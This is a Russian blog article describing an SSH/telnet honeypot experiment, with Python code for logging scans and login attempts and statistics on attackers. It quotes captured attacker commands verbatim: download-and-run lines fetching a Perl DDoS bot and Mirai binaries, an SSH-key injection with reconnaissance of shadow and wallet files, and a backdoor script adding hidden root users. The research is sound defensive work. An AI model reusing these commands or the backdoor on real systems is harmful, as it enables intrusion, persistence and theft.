Как поймать сетевых взломщиков на серверы-приманки
Какие интерфейсы привлекают взломщиков? Можно ли спрятаться на нестандартном порту? Разбираемся в статье.
Два года назад я настроил несколько простых SSH-ловушек и записал ходы сетевых злоумышленников. В конце 2023 года я решил повторить эксперимент, сделав из выделенного сервера «ловушку» для плохих ребят — брутфорсеров.
Брутфорс, или атака полным перебором, — это метод атаки с угадыванием паролей, учетных данных для входа в систему, ключей шифрования и прочей информации. Основная цель брутфорса — получить несанкционированный доступ к данным, системам или сетям. Это метод проб и ошибок, цель которого — перебрать все возможные комбинации для получения правильного пароля.
Для подготовки статьи я использовал, установил Ubuntu 22.04. В качестве языка программирования — Python 3.10, а все библиотеки и фреймворки доступны публично. Исходный код моих решений — в конце статьи.
В тексте точные IP-адреса указывать я не будут. Только имена их автономных систем и стран, в которых находятся данные адреса согласно базе GeoLite2.
Помните, что доступ к «внутренностям» чужих систем без разрешения владельца — незаконное действие во многих странах, так что не стоит продумывать план мести горе-взломщикам, что попадутся в ваши сети.
Наблюдение за сканерами портов
В прошлый раз я принял допущение, что протокол SSH на 22 порту является самой интересной целью для злоумышленников. Но действительно ли это так? Чтобы ответить на вопрос, необходимо представить, как действуют злоумышленники. В голову приходят два варианта.
- Злоумышленник сперва сканирует открытые порты, а уже потом действует по обстоятельствам;
- Некоторое программное обеспечение перебирает IP-адреса и «вслепую» подключается к серверу с использованием заданного протокола в надежде, что интересный порт открыт.
Логичный вопрос: как работают сканеры портов? Для проверки TCP-портов сканер отправляет SYN-запрос. Если в ответ приходит SYN-ACK, то порт открыт. Если RST, то порт закрыт. А если ничего не приходит, то брандмауэр не пускает. С UDP-портами сложнее, так как сканеры отправляют пустые пакеты, которые не несут полезной нагрузки и игнорируются приложениями.
Это значит, что операционная система сервера обработает TCP-подключение или UDP-пакет вне зависимости от способа сканирования. Даже если в системе нет приложения, которое «сидит» и слушает на выбранном порту.
Любая программа при наличии прав суперпользователя может открыть «сырой» сокет (raw socket) и иметь доступ к двоичному представлению всех сетевых пакетов, которые обрабатываются системой.
import sys
import socket
from scapy.layers.inet import TCP, IP, UDP
# Открываем сырой TCP-сокет. Третий флаг позволяет выбрать TCP, UDP и IP
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
while True:
data = s.recv(65536)
p = IP(data)
# Если пакет не принадлежит нашему адресу,
# который задается первым аргументом командной строки,
# то игнорируем этот пакет
if p.dst != sys.argv[1]:
continue
# Получаем TCP или UDP-уровень пакета
tcp: TCP = p.getLayer(TCP)
# Для TCP-пакетов проверяем наличие флага SYN
if tcp.flags != 0x2:
continue
# Получаем информацию о сканирующем:
# p.src — IP-адрес
# Получаем цель сканирования
# tcp.dport — желаемый порт
# Записываем куда-нибудь полученную информацию
Этот простой код позволяет записывать попытки сканирования портов. Взаимодействие с сокетами в Python реализуется при помощи socket из набора стандартных библиотек. Для обработки пакетов я использовал scapy.
Однако данный метод имеет существенный недостаток. Для ведения корректной статистики сервер должен закрыть все порты на выбранном адресе. Я решил эту проблему путем назначения дополнительного IP-адреса и вынесения всех сервисов ОС с 0.0.0.0 на основной IP-адрес сервера. Также реализация на Python может не успеть за скоростью сетевого стека, но, к счастью, у меня такого не случилось.
Как и ожидалось, интерфейсы на TCP-портах привлекательнее: 97% всех сканирований приходится на них. В среднем в минуту приходит от 10 до 30 SYN-запросов. В некоторых случаях наблюдались всплески до 500 запросов в минуту. Полагаю, это связано с ручным сканированием портов моего сервера.
Вот топ-10 наиболее популярных TCP-портов:
- 23 — telnet;
- 2222 — один из «альтернативных» неофициальных портов SSH;
- 80 — HTTP;
- 443 — HTTPS;
- 22 — SSH;
- 222 — еще один «альтернативный» порт SSH;
- 3389 — Windows Remote Desktop Protocol;
- 1433 — Microsoft SQL Server;
- 8080 — альтернативный порт для HTTP;
- 3306 — MySQL.
Сканирование UDP не пользуется особой популярностью, а частота сканирования не превышает пяти пакетов в минуту. Наиболее популярные UDP-порты: 123 (NTP), 5060 (SIP) и 53 (DNS). Эти три протокола имеют уязвимости, позволяющие провести усиление (amplification) DDoS-атак.
Как и ожидалось, самый искомый сервис — SSH. При этом (внезапно!) альтернативный порт 2222 популярнее официального 22 более чем в два раза. Значит, продолжим работать в направлении сбора информации.
Логирование брутфорса
В прошлый раз я патчил OpenSSH-сервер, чтобы логин и пароль записывались в текстовый файл. Тогда это показалось мне достаточным, но сейчас я хочу полный контроль над SSH-сервером. Я хочу знать, откуда ко мне пришли, с каким логином, с каким паролем, были ли попытки зайти по ключу и сколько попыток за подключение делал нехороший человек. Для реализации этой задумки отлично подходит библиотека paramiko, которая реализует протокол SSHv2 на Python.
import paramiko
class LogServer(paramiko.ServerInterface):
attempt: int
def __init__(self, **kwargs):
self.attempt = 0
def get_allowed_auths(self, username: str) -> str:
# Возвращаем разрешенные типы аутентификации.
# В данном случае – пароль и ключ
# В этот момент можно успешное подключение от SSH-клиента
return "password,publickey"
def check_auth_none(self, username: str) -> int:
return paramiko.common.AUTH_FAILED
def check_auth_password(self, username: str, password: str) -> int:
self.attempt += 1
# Здесь можно записать номер попытки, логин и пароль
# Задержку перед возвратом неудачи нужно делать самому
time.sleep(3)
return paramiko.common.AUTH_FAILED
def check_auth_publickey(self, username: str, key: PKey) -> int:
self.attempt += 1
# Здесь можно сохранить отпечаток ключа, чтобы сравнивать потом
# key.get_fingerprint().hex(":", 2)
return paramiko.common.AUTH_FAILED
Сервер paramiko запускается поверх клиентского сокета, который создается функцией socket.accept.
# Cоздаем транспорт и меняем ему версию, чтобы легенда была убедительна
transport = paramiko.Transport(client)
transport.local_version = "SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2"
# Ключ можно создать командой ssh-keygen и указать его приватную часть
host_key = paramiko.RSAKey(filename="key")
transport.add_server_key(host_key)
# Запускаем сервер
server = LogServer()
transport.start_server(server=server)
transport.join()
Поддерживая легенду о неприступном сервере, я также создал telnet-сервер, который выводил экран логина от Ubuntu. К счастью, для telnet тоже есть своя библиотека telnetlib3.
По неустановленным причинам придуманное мной приглашение telnet побуждало злоумышленников отправлять только логин, но не пароль. Впрочем, я предположил, что telnet используется для IoT-устройств, которые могут иметь совершенно различные интерфейсы. Поэтому от telnet-сервера интересует только факт подключения и IP-адрес подключающегося. Для сбора статистики я разместил логирующий SSH-сервер на порты 22, 222 и 2222, а telnet-сервер — на 23 порт.
Последующие наблюдения подтвердили предположение. Для протокола telnet перебирается другой набор логинов, часть которых специфична для сетевого оборудования и IoT-устройств.
Легко заметить, что 2222 порт пользуется популярностью: стабильно 10-15 запросов в минуту. Вторым по плотности является telnet, интерес к которому более «рваный». На фоне лидеров всплески подключений к 22 порту выглядят несолидно, а найти на графике линию 222 порта — это и вовсе задача со «звездочкой».
Что касается распределения по миру, Китай укрепился в позициях и теперь создает 60% всех подключений — против 50% в прошлом году. Аналогично подросла Индия: с 2.6% до 15%.
В прошлый раз за 10 дней наблюдений был собран список из 1 311 IP-адресов. На этот раз список меньше: всего 480 адресов, несмотря на «допинг» в виде нестандартных портов и telnet. Тем не менее, китайцы обновили свой прошлый рекорд, и теперь топ попыток аутентификации с одного адреса выглядит так:
- AS4134 Chinanet — 25 576 попыток (+61%);
- AS14061 DIGITALOCEAN-ASN — 3 972 попытки;
- AS211252 Delis LLC — 3 429 попыток.
База логинов и паролей, в свою очередь, немного прохудилась: 1 366 логинов против 2 018 ранее и 28 501 пароль против 32 238. Так выглядит топ паролей:
- 123456 — 36%4
- 123 — 14%;
- qwerty123 — 13%;
- 12345678 — 5%;
- root — 3%;
- 111111 — 2%;
- admin — 2%;
- 1234 — 2%;
- 12345 — 2%;
- dbadmin — 2%.
Топ изменился несущественно: пароль 123456 все еще самый популярный 😉 Иначе дело обстоит с парами логин-пароль. Два года назад наиболее популярными были пары, где логин и пароль совпадают. А сейчас — нет.
- root:qwerty123;
- boris:123;
- anna:123456;
- vladimir:123456;
- dbadmin:dbadmin;
- root:123456;
- root:root;
- root:Aa123456;
- root:P@ssw0rd;
- root:12345.
Особенный интерес вызывают пары с мест 2-4, ведь это не выглядит как распространенная комбинация.
В этот раз самый длинный пароль, который пришел из разных источников, состоит всего из 36 символов. Это в два раза меньше прошлого рекорда: A@0599343813A@0599343813A@0599343813.
Если снять ограничение, что пароль должен прийти с разных адресов, то рекорд будет в 100 символов. Но, кажется, это просто слепая ярость одного из «хакеров». Об этом я расскажу далее.
Теперь распределение по клиентам. 86% от всех подключений создает клиент SSH-2.0-Go. Похоже, авторы не беспокоятся об имени клиента и не подменяют его. 85% клиентов останавливаются после сотни неудачных попыток, и 98% клиентов в рамках одного подключения делают одну попытку. Рекорд — 10 попыток ввести пароль за одно подключение.
Желающих попасть на мой сервер достаточно. Значит, пора предоставить им эту возможность.
Фейковые виртуальные серверы
В прошлый раз я принимал всех по любому паролю в рамках одной виртуальной машины, что привело к сражению нескольких программ и отразилось на качестве и количестве собранной информации. В этот раз я решил устроить аттракцион неслыханной щедрости: каждому зашедшему — по «виртуалке»!
Я хотел создать контролируемое окружение при помощи контейнеров и с использованием виртуальных машин. Для начала сделал выбор в пользу контейнеризации. Создаем легковесный образ Ubuntu 22.04 с wget, curl и sshd, со временем жизни 60 секунд:
FROM ubuntu:22.04
RUN apt update && apt install -y ssh wget curl && mkdir /run/sshd && echo "root:root" | chpasswd
COPY sshd_config /etc/ssh/sshd_config
ENTRYPOINT ["/bin/bash", "-c", "/usr/sbin/sshd -D & sleep 60"]
Жизненный цикл контейнера выглядит так.
- Злоумышленник подключается к SSH-серверу (paramiko) с каким-то паролем.
- Paramiko запускает контейнер и узнает его IP-адрес в локальной сети.
- Paramiko создает клиентское подключение к контейнеру и связывает потоки ввода-вывода между принятым подключением от злоумышленника и созданным подключением до контейнера. Таким образом paramiko-сервер становится SSH-прокси, который имеет возможность сохранять проходящие мимо байты.
- Контейнер выключается через 60 секунд вне зависимости от желания злоумышленника.
«Контейнерный» подход имеет недостатки, которые заметны человеку при подключении:
- в контейнере не работает systemd4;
- процесс с pid=1 не systemd или init, а подозрительный /bin/bash -c /usr/sbin/sshd -D & sleep 60;
- при переподключении заметно, что имя хоста изменилось.
Были опасения за безопасность, ведь злоумышленник получает root-доступ, а у контейнера нет такой же изоляции, как у виртуальной машины. При определенных условиях это может навредить хосту. Беглый поиск в интернете показал, что побег из контейнера возможен только при запуске контейнера в привилегированном режиме — либо с опцией SYS_ADMIN, либо при наличии управляющего сокета Docker внутри контейнера. Ничего такого я контейнеру не позволю — наоборот, ограничу в ресурсах до 2 ядер и 1 ГБ оперативной памяти.
Прежде чем перейдем к изучению «улова», я расскажу немного специфики SSH. При создании SSH-подключения клиент может запросить интерактивную оболочку (shell) или отправить одну команду на исполнение. Сервер paramiko может это различать.
# SSH запросит у сервера выполнение одной команды
ssh root@127.0.0.1 ‘wget http://example.com/totally-not-a-virus.sh’
# Запрос интерактивной оболочки
ssh root@127.0.0.2
Потенциально это различие можно использовать для отделения точно автоматизированных атак от подозрительных, возможно, ручных действий.
За время наблюдения к моему серверу подключились 8 685 раз. Это принесло 21 уникальную команду и 56 интерактивных подключений. Самая популярная команда, выполненная 6,5 тысяч раз, поражает своей безобидностью:
uname -s -v -n -r -m
Это команду выполняет тот самый настойчивый ботнет с клиентом SSH-2.0-Go. Причем успех этой команды ни на что не влияет. Через несколько минут этот же клиент с того же IP-адреса придет с другой парой логин-пароль выполнять аналогичную команду.
Следующий по настойчивости с результатом в 800 выполнений — скрипт dred. Отчет VirusTotal.
uname -a;lspci | grep -i --color 'vga\|3d\|2d';curl -s -L http://[ДАННЫЕ УДАЛЕНЫ]/dred -o /tmp/dred;perl /tmp/dred
dred — это IRC-бот, написанный на perl для осуществления DDoS-атак. Причем в начале файла есть описание и инструкция. Удобно. Отдельно хочется отметить, что фраза Works on every system with PERL installed оказалась неправдой.
root@e838fe773823:/tmp# perl dred
Can't locate MIME/Base64.pm in @INC (you may need to install the MIME::Base64 module)
Аналогичный скрипт, только с другой версией и копирайтом, можно найти на просторах интернета.
Следующая по убыванию настойчивости команда для самоутверждения:
# команда выводит ok. Выполнена 273 раза
echo -e "\x6F\x6B"
# команда на скачивание ok.sh. Выполнена 132 раза
wget [ДАННЫЕ УДАЛЕНЫ]/ok.sh ; chmod 777 ok.sh ; ./ok.sh ; rm -rf ok.sh ; curl -O [ДАННЫЕ УДАЛЕНЫ]/ok.sh ; chmod 777 ok.sh ; ./ok.sh ; rm -rf ok.sh ; history -c
# содержимое ok.sh
echo “nite_max was here”
uname -a
В самом конце упорности находятся команды, которые можно отнести к страшному ботнету Mirai. Команды делятся на два типа: xml-подобный вывод для сбора информации и попытки заразить жертву.
Подобный сбор информации:
mkdir -p /home/osmc/.ssh/ ; echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6apTpBLxylca9D2EVjfr8xa6OadS2c0oR4RYLkJiIp2XoWkJKqxVodz0s2gfQrMb9qr3oJQVoT4M1WHd829D5Wu2kJY4RMFSo+Rb2dszg0PQJ5Ug1pEW1DedYR379sjoIiF/qbaDzq3FtkUx9+5E/BiqdMGyncml3yinN6HuNH+Fnhv6TtS45Re6gI1rA21qFguBF5U3yPFKeF5ElH997x/0rf3Qr01v38F2994IEXZ3fiaZTkw7k/ul9CnuCuIlCkPGeO7xkpR/70sU077scxbArlCe/ch5BSBK9u8nOCBUBV7AlgZ9RojfTp/wbqqg20zfB7pwEaaMI25zP5QsF >> /home/osmc/.ssh//authorized_keys ; echo '<cmd7uname>'; uname -a ; echo '</cmd7uname><cmd7uptime>'; uptime ; echo '</cmd7uptime><cmd7w>'; w ; echo '</cmd7w><cmd7who>'; who ; echo '</cmd7who><cmd7last>'; last ; echo '</cmd7last><cmd7lastlog>'; lastlog ; echo '</cmd7lastlog><cmd7passwd>'; cat /etc/passwd ; echo '</cmd7passwd><cmd7shadow>'; sudo -n cat /etc/shadow ; echo '</cmd7shadow><cmd7authkey>'; cat /home/osmc/.ssh//authorized_keys ; echo '</cmd7authkey><cmd7lshome>'; ls -la /home ; echo '</cmd7lshome><cmd7psfaux>'; ps -faux ; echo '</cmd7psfaux><cmd7netstat>'; netstat -npta ; echo '</cmd7netstat><cmd7arpan>'; /usr/sbin/arp -an ; echo '</cmd7arpan><cmd7ifconfig>' ; /usr/sbin/ifconfig ; echo '</cmd7ifconfig><cmd7localconf>'; cat /home/ethos/local.conf ; echo '</cmd7localconf><cmd7remoteconf>' ; cat /home/ethos/remote.conf ; echo '</cmd7remoteconf><cmd7rclocal>' ; cat /etc/rc.local ; echo '</cmd7rclocal><cmd7claymorestub>'; cat /home/ethos/claymore.stub.conf ; cat /hive-config/rig.conf; cat /hive-config/wallet.conf ; cat /hive-config/vnc-password.txt ; echo '</cmd7claymorestub><cmd7claymorezstub>' ; cat /home/ethos/claymore-zcash.stub.conf ; echo '</cmd7claymorezstub><cmd7sgminerconf>' ; cat /var/run/ethos/sgminer.conf ; echo '</cmd7sgminerconf><cmd7iptables>' ; sudo -n iptables -S && sudo -n iptables -t nat -S ; echo '</cmd7iptables><cmdcrontab>'; crontab -l; echo '</cmdcrontab>' ; exit
Отличительной особенностью этого ботнета можно считать его немногопарольность и примечательный клиент. Информацию собирает клиент SSH-2.0-OpenSSH_8.4p1 Raspbian-5+b1, а для попыток залогиниться он использует всего четыре пары логин-пароль:
- rokos:rokos. По умолчанию для ROKOS Core — биткоин-нода на «малинке»;
- osmc:osmc. Пароль по умолчанию для медиацентра OSMC;
- root:libreelec. Пароль для первого входа для медиацентра libreelec;
- root:admin.
Получается, что «малинка» ищет себе подобных и оставляет свой ключ, чтобы зайти позже. Другой заход Mirai — это попытки установить исполняемый файл.
# Версия 1
lscpu | grep "CPU(s): " && echo -e "fKSRQZMyM4JX\nfKSRQZMyM4JX" | passwd && cd /tmp; wget http://[ДАННЫЕ УДАЛЕНЫ]/pedalcheta/cutie.x86_64; curl -s -O http://[ДАННЫЕ УДАЛЕНЫ]/pedalcheta/cutie.x86_64; chmod 777 cutie.x86_64; ./cutie.x86_64 x86h; rm -rf cutie.*
# Версия 2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[ДАННЫЕ УДАЛЕНЫ]/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp [ДАННЫЕ УДАЛЕНЫ] -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g [ДАННЫЕ УДАЛЕНЫ]; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 [ДАННЫЕ УДАЛЕНЫ] ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *
Версия 1 имеет фиксированное имя cutie.x86_64, а вот версия 2 встретилась мне с разными именами как скриптов, так и исполняемых файлов. Особенно интересно, что версия 2 скачивает множество исполняемых файлов для разных архитектур.
c0r0n4x.sh: Bourne-Again shell script, ASCII text executable
c0r0n4x.arm: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, no section header
c0r0n4x.arm5: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, no section header
c0r0n4x.arm6: ELF 32-bit LSB executable, ARM, EABI4 version 1 (GNU/Linux), statically linked, no section header
c0r0n4x.arm7: ELF 32-bit LSB executable, ARM, EABI4 version 1 (GNU/Linux), statically linked, no section header
c0r0n4x.m68k: ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
c0r0n4x.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header
c0r0n4x.mpsl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header
c0r0n4x.ppc: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (GNU/Linux), statically linked, no section header
c0r0n4x.sh4: ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
c0r0n4x.spc: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
c0r0n4x.x86: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
Отчет VirusTotal: раз, два, три.
В заключение остались единичные безобидные команды.
uname -s -m
cat /proc/uptime
uname -a || echo -
cat /etc/passwd
/ip cloud print
echo $(echo -n XSUCCESX && uname -a)
Теперь прикоснемся к прекрасному: к интерактивным сессиям.
Ручная работа брутфорсеров
К сожалению, большая часть интерактивных сессий была автоматизирована. 40 запросов — это открытие сессии и отправка признака конца файла. Несколько из этих интерактивных сессий были открыты связкой root:honeypot и honeyhoney:pot. Кажется, на той стороне разгадали мою задумку. Еще 9 — отправка файла через SCP следующего содержания:
enable
system
shell
sh
linuxshell
cd /tmp/; echo "senpai" > rootsenpai; cat rootsenpai; rm -rf rootsenpai
cd /var/; echo "senpai" > rootsenpai; cat rootsenpai; rm -rf rootsenpai
Затем еще четыре попытки отправки еще одного файла, который должен оставить бэкдор.
Скрипт:
export HISTFILE=/dev/null
export HISTSAVE=/dev/null
unset HISTFILE
unset HISTSAVE
if ! type export >/dev/null 2>&1; then
echo "ERROR: BADtype: export"
exit
fi
if [[ -z $(ps -elf |wc -l) ]]; then
echo "ERROR: BADps"
fi
if [[ "$(ps -elf |wc -l)" -le 4 ]]; then
echo "ERROR: BADps"
exit
fi
# bad shells
### not defined # echo "ERROR: BADshell"
if [[ ubuntu != "root" ]]; then
if ! exec echo ubuntu |sudo -S su -c 'id -u'; then
echo "ERROR: failed to get root"
exit
fi
fi
exec echo ubuntu |sudo -S su -c '
# super user
if [[ -z $(grep "^systemd:" /etc/passwd 2>/dev/null) ]]; then
if ! echo "systemd:x:0:0::/root:/bin/bash" >> /etc/passwd; then
echo "ERROR: failed to add user"
exit
else
touch -r /bin/ls /etc/passwd
fi
fi
if [[ -z $(grep "^systemd:" /etc/shadow 2>/dev/null) ]]; then
if ! echo systemd:\$6\$97bAjPBL\$LWTjOvlIt645bflwh0d2d4j7GaxunVgoHbhzIvnyNkdjM3zl0H8sUZ7PVDRKCJBB.n2I1HjeH4zV4wFA./yyI0:18359:::::: >> /etc/shadow; then
echo "ERROR: failed to add user"
exit
else
touch -r /bin/ls /etc/shadow
fi
fi
# normal user
if [[ -z $(grep "^systemx:" /etc/passwd 2>/dev/null) ]]; then
if ! echo "systemx:x:9090:9090::/home/systemx:/bin/bash" >> /etc/passwd; then
echo "ERROR: failed to add user"
exit
else
touch -r /bin/ls /etc/passwd
fi
fi
if [[ -z $(grep "^systemx:" /etc/shadow 2>/dev/null) ]]; then
if ! echo systemx:\$6\$97bAjPBL\$LWTjOvlIt645bflwh0d2d4j7GaxunVgoHbhzIvnyNkdjM3zl0H8sUZ7PVDRKCJBB.n2I1HjeH4zV4wFA./yyI0:18359:::::: >> /etc/shadow; then
echo "ERROR: failed to add user"
exit
else
touch -r /bin/ls /etc/shadow
fi
fi
if [[ -z $(grep ^systemx /etc/sudoers 2>/dev/null) ]]; then
if ! echo "systemx ALL=(ALL) ALL" >> /etc/sudoers; then
echo "ERROR: failed to add user"
exit
else
touch -r /bin/ls /etc/sudoers
fi
fi
if [[ -z $(grep "^systemx:" /etc/group 2>/dev/null) ]]; then
if ! echo "systemx:x:9090:" >> /etc/group; then
echo "ERROR: failed to add user"
exit
else
touch -r /bin/ls /etc/group
fi
fi
echo [ДАННЫЕ УДАЛЕНЫ] > /etc/selfip
И только две интерактивные сессии были действительно интерактивными:
- SSH-2.0-PuTTY_Release_0.78 — AS6327 Shaw Communications Inc. (Канада);
- SSH-2.0-PuTTY_Release_0.78 — AS43289 Trabia SRL (Молдова).
В обоих случаях злоумышленник пытался вручную поставить майнер xmrig. Почему я решил, что это ручная работа? Злоумышленник использовал интерактивные текстовые редакторы vim и nano, которых не было в контейнере, и он решил их поставить. Причем установка текстовых редакторов сопровождалась перебором пакетных менеджеров.
Один человек зашел, чтобы оскорбить меня. AS4766 Korea Telecom, Республика Корея, клиент SSH-2.0-HELLOWORLD. Он выполнил следующую команду.
root@fb622ba2b5ab:~# echo -e '\x67\x61\x79\x66\x67\x74'
gayfgt
Вот шалунишка.
Яркие попытки перебора паролей
Внезапно оказалось, что злоумышленникам почему-то не нравится находить подобного рода ловушки. По крайней мере, пользователь из AS38496 PT Cyber Network Indonesia (Индонезия), похоже, пришел в ярость от моего эксперимента.
Сперва он попытался создать около ста контейнеров за секунду. Видимо, ожидал, что это исчерпает ресурсы моего сервера, но чуда не случилось. Во-первых, потому что контейнеры сами по себе легковесные, а мой сервер имеет целых 100 ГБ оперативной памяти. А во-вторых, злоумышленник запустил «пустые» контейнеры, не запустив в них даже форк-бомбы.
Далее он нашел «соседние» IP-адреса из той же подсети и увидел там SSH-порты, которые не пускают, и начал усердно перебирать к ним пароль и вероятные уязвимости.
Расчет, видимо, был в том, что это «управляющие» порты, но, к счастью, это оказались ловушки из начала статьи. От разгневанного хакера я собрал интересный набор паролей:
- 6PugPK5iEsR30Mj5rrkKdZucsbR7yy5GqpxbHX6zbdiNnUvqMQunInkvpF9uw1RLJzjfgX3qTqraLEwlq wYYGR6dY3NlKdJqBpxA — самый длинный пароль, 100 символов;
- @^@^@^@^@^@^@^@^@^@^@^@^@^@^@btc@^@^@^@^@^@^@^@^@^@^@^ @^@^@^@^@^localhost@^@@ — второй по длине пароль, выглядит интересно;
- Accepted host %s ip %s client_user %s server_user %s — не имею ни малейшего понятия почему это стало паролем;
- Let me, teach you, the ancient method of Fu Thai ! — может, он хотел меня научить чему-то, но не оставил никаких контактов, так что его истинные намерения не ясны;
- www.txwscx.comsritgyxf2sxy19831122zx — есть домен китайского сайта, но набор символов после домена явно случайный.
В моменте гнева злоумышленник создал хорошую статистику для Индонезии и своей автономной системы в виде пары тысяч паролей с одного адреса. Однако в долгосрочной перспективе его действия затерялись на фоне методичных стараний из Китая, Индии и Нидерландов.
Другие сервисы
Ради развлечения я поставил также SMTP-сервер и веб-сервер, чтобы узнать, есть ли интерес к ним. И… нет.
За пять дней к SMTP-серверу обратились три раза с каким-то расширением SMTP, которое моя заглушка была не в состоянии разобрать.
К веб-интерфейсу подключались тоже нечасто — всего 50 раз за 4 дня. Большинство подключений сделал один IP-адрес из AS16509, США. Единственное, почему я вынес это в статью — необычные User-Agent, с которыми пришел сканер:
- Mozilla/5.0 (Linux; Android 4.0.4; BNTV400 Build/IMM76L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Safari/537.36;
- Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es65;
- SonyEricssonK310iv/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0;
- Mozilla/4.1 (compatible; MSIE 5.0; Symbian OS; Nokia 6600;452) Opera 6.20 [en-US];
- Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3;
- Mozilla/5.0 (SymbianOS/9.4; U; Series60/5.0 SonyEricssonP100/01; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 Safari/525;
- Opera/9.25 (Windows NT 6.0; U; en);
- SonyEricssonK610i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1.
Конечно, User-Agent — это всего лишь строчка, которая может быть любой. Но если предположить, что это не фальсификация, то у кого-то очень интересный проект.
Заключение
Мы предложили интернету беззащитный контейнер с SSH-сервером и узнали много очевидного, но интересного.
- Перенос SSH на необычный порт поможет спрятаться от нежелательного внимания, но только не на порт 2222 — это приведет к обратному результату.
- Сегодня ботнеты можно разделить на две категории: бессмысленные и аккуратные. Первые заполнят логи безуспешными попытками подобрать пароль, а в случае удачи ничего не сделают. Вторые же придут с паролями по умолчанию и в случае успеха оставят вредонос.
- За два года практически полностью «вымерли» злоумышленники, которые лишают владельца доступа к своему устройству. Фокус изменился с деструктивных операций на скрытность.
- Непопулярность других портов и протоколов не гарантирует безопасности от злоумышленников.
Исходный код моих поделок можно посмотреть на GitHub. При остром желании запустить аналогичную ловушку на своем сервере можно обратиться к cowrie.